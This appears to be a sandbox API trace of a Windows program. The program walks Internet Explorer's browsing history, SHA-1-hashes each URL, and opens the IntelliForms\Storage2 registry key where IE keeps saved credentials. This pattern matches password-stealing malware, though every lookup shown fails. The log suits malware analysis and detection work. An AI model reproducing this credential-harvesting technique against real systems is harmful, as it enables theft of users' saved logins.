	[0211.137] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2536fa4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2536fa4, pdwDataLen=0x5ffde9c) returned 1
	[0211.137] GetLastError () returned 0x0
	[0211.140] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.142] CryptReleaseContext (hProv=0x54eff8, dwFlags=0x0) returned 1
	[0211.142] GetLastError () returned 0x0
	[0211.157] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.157] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.157] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.157] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.158] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.158] CoTaskMemFree (pv=0x56f8f0) 
	[0211.158] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54eff8) returned 1
	[0211.159] GetLastError () returned 0x0
	[0211.159] CryptCreateHash (in: hProv=0x54eff8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.159] GetLastError () returned 0x0
	[0211.159] CryptHashData (hHash=0x5bb4b0, pbData=0x2537cb0, dwDataLen=0x8a, dwFlags=0x0) returned 1
	[0211.159] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2537dc0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2537dc0, pdwDataLen=0x5ffde9c) returned 1
	[0211.159] GetLastError () returned 0x0
	[0211.160] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.160] CryptReleaseContext (hProv=0x54eff8, dwFlags=0x0) returned 1
	[0211.160] GetLastError () returned 0x0
	[0211.160] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.160] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.160] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.161] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.161] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.161] CoTaskMemFree (pv=0x5e4bc0) 
	[0211.161] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54eff8) returned 1
	[0211.162] GetLastError () returned 0x0
	[0211.162] CryptCreateHash (in: hProv=0x54eff8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.162] GetLastError () returned 0x0
	[0211.162] CryptHashData (hHash=0x5bb4b0, pbData=0x2538aa4, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0211.163] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2538ba0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2538ba0, pdwDataLen=0x5ffde9c) returned 1
	[0211.163] GetLastError () returned 0x0
	[0211.163] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.163] CryptReleaseContext (hProv=0x54eff8, dwFlags=0x0) returned 1
	[0211.163] GetLastError () returned 0x0
	[0211.163] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.163] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.163] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.164] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.164] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.164] CoTaskMemFree (pv=0x56fc80) 
	[0211.164] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54eff8) returned 1
	[0211.165] GetLastError () returned 0x0
	[0211.165] CryptCreateHash (in: hProv=0x54eff8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.165] GetLastError () returned 0x0
	[0211.165] CryptHashData (hHash=0x5bb4b0, pbData=0x25398b0, dwDataLen=0x8c, dwFlags=0x0) returned 1
	[0211.166] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25399c4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25399c4, pdwDataLen=0x5ffde9c) returned 1
	[0211.166] GetLastError () returned 0x0
	[0211.166] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.166] CryptReleaseContext (hProv=0x54eff8, dwFlags=0x0) returned 1
	[0211.166] GetLastError () returned 0x0
	[0211.166] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.166] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.166] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.167] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.167] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.167] CoTaskMemFree (pv=0x5ddf40) 
	[0211.167] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54eff8) returned 1
	[0211.168] GetLastError () returned 0x0
	[0211.168] CryptCreateHash (in: hProv=0x54eff8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.168] GetLastError () returned 0x0
	[0211.169] CryptHashData (hHash=0x5bb4b0, pbData=0x253a704, dwDataLen=0xa4, dwFlags=0x0) returned 1
	[0211.169] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x253a830, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x253a830, pdwDataLen=0x5ffde9c) returned 1
	[0211.169] GetLastError () returned 0x0
	[0211.169] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.169] CryptReleaseContext (hProv=0x54eff8, dwFlags=0x0) returned 1
	[0211.169] GetLastError () returned 0x0
	[0211.169] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.170] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.170] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.170] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.171] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.171] CoTaskMemFree (pv=0x5e1c18) 
	[0211.171] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54eff8) returned 1
	[0211.172] GetLastError () returned 0x0
	[0211.172] CryptCreateHash (in: hProv=0x54eff8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.172] GetLastError () returned 0x0
	[0211.172] CryptHashData (hHash=0x5bb4b0, pbData=0x253b4dc, dwDataLen=0x5a, dwFlags=0x0) returned 1
	[0211.172] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x253b5bc, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x253b5bc, pdwDataLen=0x5ffde9c) returned 1
	[0211.172] GetLastError () returned 0x0
	[0211.172] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.172] CryptReleaseContext (hProv=0x54eff8, dwFlags=0x0) returned 1
	[0211.172] GetLastError () returned 0x0
	[0211.172] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.173] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.173] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.173] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.174] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.174] CoTaskMemFree (pv=0x58d468) 
	[0211.174] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54eff8) returned 1
	[0211.175] GetLastError () returned 0x0
	[0211.175] CryptCreateHash (in: hProv=0x54eff8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.175] GetLastError () returned 0x0
	[0211.175] CryptHashData (hHash=0x5bb4b0, pbData=0x253c264, dwDataLen=0x58, dwFlags=0x0) returned 1
	[0211.175] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x253c344, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x253c344, pdwDataLen=0x5ffde9c) returned 1
	[0211.175] GetLastError () returned 0x0
	[0211.175] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.175] CryptReleaseContext (hProv=0x54eff8, dwFlags=0x0) returned 1
	[0211.175] GetLastError () returned 0x0
	[0211.176] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.176] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.176] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.176] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.177] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.177] CoTaskMemFree (pv=0x5d6d68) 
	[0211.177] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54f080) returned 1
	[0211.178] GetLastError () returned 0x0
	[0211.178] CryptCreateHash (in: hProv=0x54f080, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.178] GetLastError () returned 0x0
	[0211.178] CryptHashData (hHash=0x5bb4b0, pbData=0x253d078, dwDataLen=0x9e, dwFlags=0x0) returned 1
	[0211.178] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x253d19c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x253d19c, pdwDataLen=0x5ffde9c) returned 1
	[0211.178] GetLastError () returned 0x0
	[0211.178] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.179] CryptReleaseContext (hProv=0x54f080, dwFlags=0x0) returned 1
	[0211.179] GetLastError () returned 0x0
	[0211.179] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.179] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.179] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.179] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.180] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.180] CoTaskMemFree (pv=0x5afb00) 
	[0211.180] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb00) returned 1
	[0211.181] GetLastError () returned 0x0
	[0211.181] CryptCreateHash (in: hProv=0x5afb00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.181] GetLastError () returned 0x0
	[0211.181] CryptHashData (hHash=0x5bb4b0, pbData=0x253de94, dwDataLen=0x80, dwFlags=0x0) returned 1
	[0211.181] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x253df9c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x253df9c, pdwDataLen=0x5ffde9c) returned 1
	[0211.181] GetLastError () returned 0x0
	[0211.182] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.182] CryptReleaseContext (hProv=0x5afb00, dwFlags=0x0) returned 1
	[0211.182] GetLastError () returned 0x0
	[0211.182] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.182] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.182] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.182] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.183] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.183] CoTaskMemFree (pv=0x58be78) 
	[0211.183] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb00) returned 1
	[0211.184] GetLastError () returned 0x0
	[0211.184] CryptCreateHash (in: hProv=0x5afb00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.184] GetLastError () returned 0x0
	[0211.184] CryptHashData (hHash=0x5bb4b0, pbData=0x253eca4, dwDataLen=0x88, dwFlags=0x0) returned 1
	[0211.184] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x253edb4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x253edb4, pdwDataLen=0x5ffde9c) returned 1
	[0211.184] GetLastError () returned 0x0
	[0211.184] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.184] CryptReleaseContext (hProv=0x5afb00, dwFlags=0x0) returned 1
	[0211.184] GetLastError () returned 0x0
	[0211.184] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.184] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.184] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.185] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.185] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.185] CoTaskMemFree (pv=0x5e3798) 
	[0211.185] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb00) returned 1
	[0211.186] GetLastError () returned 0x0
	[0211.186] CryptCreateHash (in: hProv=0x5afb00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.186] GetLastError () returned 0x0
	[0211.186] CryptHashData (hHash=0x5bb4b0, pbData=0x253fb4c, dwDataLen=0xd0, dwFlags=0x0) returned 1
	[0211.186] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x253fca4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x253fca4, pdwDataLen=0x5ffde9c) returned 1
	[0211.186] GetLastError () returned 0x0
	[0211.186] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.186] CryptReleaseContext (hProv=0x5afb00, dwFlags=0x0) returned 1
	[0211.186] GetLastError () returned 0x0
	[0211.187] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.187] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.187] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.187] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.187] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.188] CoTaskMemFree (pv=0x5e7ae8) 
	[0211.188] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb00) returned 1
	[0211.188] GetLastError () returned 0x0
	[0211.188] CryptCreateHash (in: hProv=0x5afb00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.188] GetLastError () returned 0x0
	[0211.188] CryptHashData (hHash=0x5bb4b0, pbData=0x2540a44, dwDataLen=0xd4, dwFlags=0x0) returned 1
	[0211.189] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2540ba0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2540ba0, pdwDataLen=0x5ffde9c) returned 1
	[0211.189] GetLastError () returned 0x0
	[0211.189] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.189] CryptReleaseContext (hProv=0x5afb00, dwFlags=0x0) returned 1
	[0211.189] GetLastError () returned 0x0
	[0211.189] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.189] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.189] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.189] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.190] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.190] CoTaskMemFree (pv=0x5d9d90) 
	[0211.190] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb00) returned 1
	[0211.190] GetLastError () returned 0x0
	[0211.191] CryptCreateHash (in: hProv=0x5afb00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.191] GetLastError () returned 0x0
	[0211.191] CryptHashData (hHash=0x5bb4b0, pbData=0x2541920, dwDataLen=0xc4, dwFlags=0x0) returned 1
	[0211.191] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2541a6c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2541a6c, pdwDataLen=0x5ffde9c) returned 1
	[0211.191] GetLastError () returned 0x0
	[0211.191] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.191] CryptReleaseContext (hProv=0x5afb00, dwFlags=0x0) returned 1
	[0211.191] GetLastError () returned 0x0
	[0211.191] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.191] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.191] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.191] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.192] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.192] CoTaskMemFree (pv=0x5b06b0) 
	[0211.192] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b06b0) returned 1
	[0211.193] GetLastError () returned 0x0
	[0211.193] CryptCreateHash (in: hProv=0x5b06b0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.193] GetLastError () returned 0x0
	[0211.193] CryptHashData (hHash=0x5bb4b0, pbData=0x2542758, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0211.193] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2542858, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2542858, pdwDataLen=0x5ffde9c) returned 1
	[0211.193] GetLastError () returned 0x0
	[0211.193] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.193] CryptReleaseContext (hProv=0x5b06b0, dwFlags=0x0) returned 1
	[0211.193] GetLastError () returned 0x0
	[0211.194] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.194] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.194] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.194] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.195] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.195] CoTaskMemFree (pv=0x5de620) 
	[0211.195] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb88) returned 1
	[0211.196] GetLastError () returned 0x0
	[0211.196] CryptCreateHash (in: hProv=0x5afb88, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.196] GetLastError () returned 0x0
	[0211.196] CryptHashData (hHash=0x5bb4b0, pbData=0x254359c, dwDataLen=0xa6, dwFlags=0x0) returned 1
	[0211.196] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25436c8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25436c8, pdwDataLen=0x5ffde9c) returned 1
	[0211.196] GetLastError () returned 0x0
	[0211.196] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.196] CryptReleaseContext (hProv=0x5afb88, dwFlags=0x0) returned 1
	[0211.196] GetLastError () returned 0x0
	[0211.196] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.196] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.196] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.197] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.197] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.197] CoTaskMemFree (pv=0x5bed00) 
	[0211.197] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb88) returned 1
	[0211.198] GetLastError () returned 0x0
	[0211.198] CryptCreateHash (in: hProv=0x5afb88, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.198] GetLastError () returned 0x0
	[0211.199] CryptHashData (hHash=0x5bb4b0, pbData=0x2544428, dwDataLen=0xb4, dwFlags=0x0) returned 1
	[0211.199] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2544564, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2544564, pdwDataLen=0x5ffde9c) returned 1
	[0211.199] GetLastError () returned 0x0
	[0211.199] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.199] CryptReleaseContext (hProv=0x5afb88, dwFlags=0x0) returned 1
	[0211.199] GetLastError () returned 0x0
	[0211.199] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.199] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.199] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.199] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.200] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.200] CoTaskMemFree (pv=0x56f430) 
	[0211.200] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afd20) returned 1
	[0211.201] GetLastError () returned 0x0
	[0211.201] CryptCreateHash (in: hProv=0x5afd20, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.201] GetLastError () returned 0x0
	[0211.201] CryptHashData (hHash=0x5bb4b0, pbData=0x254527c, dwDataLen=0x90, dwFlags=0x0) returned 1
	[0211.201] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2545394, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2545394, pdwDataLen=0x5ffde9c) returned 1
	[0211.201] GetLastError () returned 0x0
	[0211.201] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.201] CryptReleaseContext (hProv=0x5afd20, dwFlags=0x0) returned 1
	[0211.201] GetLastError () returned 0x0
	[0211.201] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
